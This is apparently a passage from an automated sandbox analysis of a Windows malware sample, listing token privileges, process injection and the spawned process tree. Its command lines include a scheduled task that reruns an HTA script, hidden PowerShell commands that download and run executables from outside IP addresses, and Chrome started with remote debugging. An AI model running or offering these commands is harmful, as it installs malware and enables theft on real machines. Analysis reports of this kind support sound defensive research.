Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\System32\notepad.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\System32\notepad.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Windows\System32\notepad.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110390101\086de54246.exe N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110390101\086de54246.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110390101\086de54246.exe N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110390101\086de54246.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110390101\086de54246.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110390101\086de54246.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3584 wrote to memory of 2204 N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe C:\Windows\SysWOW64\cmd.exe
PID 3584 wrote to memory of 2204 N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe C:\Windows\SysWOW64\cmd.exe
PID 3584 wrote to memory of 2204 N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe C:\Windows\SysWOW64\cmd.exe
PID 3584 wrote to memory of 3880 N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe C:\Windows\SysWOW64\mshta.exe
PID 3584 wrote to memory of 3880 N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe C:\Windows\SysWOW64\mshta.exe
PID 3584 wrote to memory of 3880 N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe C:\Windows\SysWOW64\mshta.exe
PID 2204 wrote to memory of 3744 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2204 wrote to memory of 3744 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2204 wrote to memory of 3744 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 3880 wrote to memory of 3180 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3880 wrote to memory of 3180 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3880 wrote to memory of 3180 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3180 wrote to memory of 1680 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
PID 3180 wrote to memory of 1680 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
PID 3180 wrote to memory of 1680 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
PID 1680 wrote to memory of 4624 N/A C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
PID 1680 wrote to memory of 4624 N/A C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
PID 1680 wrote to memory of 4624 N/A C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
PID 4624 wrote to memory of 4788 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe
PID 4624 wrote to memory of 4788 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe
PID 4624 wrote to memory of 4788 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe
PID 4624 wrote to memory of 4912 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe
PID 4624 wrote to memory of 4912 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe
PID 4912 wrote to memory of 864 N/A C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe C:\Windows\system32\cmd.exe
PID 4912 wrote to memory of 864 N/A C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe C:\Windows\system32\cmd.exe
PID 864 wrote to memory of 1104 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 864 wrote to memory of 1104 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4624 wrote to memory of 3572 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe
PID 4624 wrote to memory of 3572 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe
PID 4624 wrote to memory of 3572 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe
PID 4624 wrote to memory of 3780 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 4624 wrote to memory of 3780 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 4624 wrote to memory of 3780 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 3780 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 3780 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 3780 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 3780 wrote to memory of 4876 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 3780 wrote to memory of 4876 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 3780 wrote to memory of 4876 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 3780 wrote to memory of 4876 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 3780 wrote to memory of 4876 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 3780 wrote to memory of 4876 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 3780 wrote to memory of 4876 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 3780 wrote to memory of 4876 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 3780 wrote to memory of 4876 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 4624 wrote to memory of 5024 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
PID 4624 wrote to memory of 5024 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
PID 4624 wrote to memory of 5024 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
PID 5024 wrote to memory of 5060 N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
PID 5024 wrote to memory of 5060 N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
PID 5024 wrote to memory of 5060 N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
PID 5024 wrote to memory of 5060 N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
PID 5024 wrote to memory of 5060 N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
PID 5024 wrote to memory of 5060 N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
PID 5024 wrote to memory of 5060 N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
PID 5024 wrote to memory of 5060 N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
PID 5024 wrote to memory of 5060 N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
PID 5024 wrote to memory of 5060 N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
PID 5024 wrote to memory of 5060 N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
PID 5024 wrote to memory of 5060 N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
PID 1104 wrote to memory of 1404 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1104 wrote to memory of 1404 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1404 wrote to memory of 4344 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 1404 wrote to memory of 4344 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe

"C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c schtasks /create /tn yC1L6maeOoq /tr "mshta C:\Users\Admin\AppData\Local\Temp\JMz1DFpdy.hta" /sc minute /mo 25 /ru "Admin" /f

C:\Windows\SysWOW64\mshta.exe

mshta C:\Users\Admin\AppData\Local\Temp\JMz1DFpdy.hta

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /tn yC1L6maeOoq /tr "mshta C:\Users\Admin\AppData\Local\Temp\JMz1DFpdy.hta" /sc minute /mo 25 /ru "Admin" /f

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;

C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE

"C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE"

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe

"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"

C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe

"C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe"

C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe

"C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F731.tmp\F732.tmp\F733.bat C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'http://45.144.212.77:16000/setup' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.ps1'; Start-Process 'powershell.exe' -ArgumentList '-ExecutionPolicy Bypass -NoProfile -File \"C:\Users\Admin\AppData\Local\Temp\installer.ps1\"' -WindowStyle Hidden}"

C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe

"C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe"

C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe

"C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe"

C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe

"C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe"

C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe

"C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3780 -ip 3780

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3780 -s 796

C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe

"C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe"

C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe

"C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5024 -ip 5024

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5024 -s 800

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\installer.ps1"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\okp0pabk\okp0pabk.cmdline"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4198.tmp" "c:\Users\Admin\AppData\Local\Temp\okp0pabk\CSC1DD6C90F8C8346CD93C5DBF57293994.TMP"

C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe

"C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe"

C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe

"C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe"

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe

"C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe"

C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe

"C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

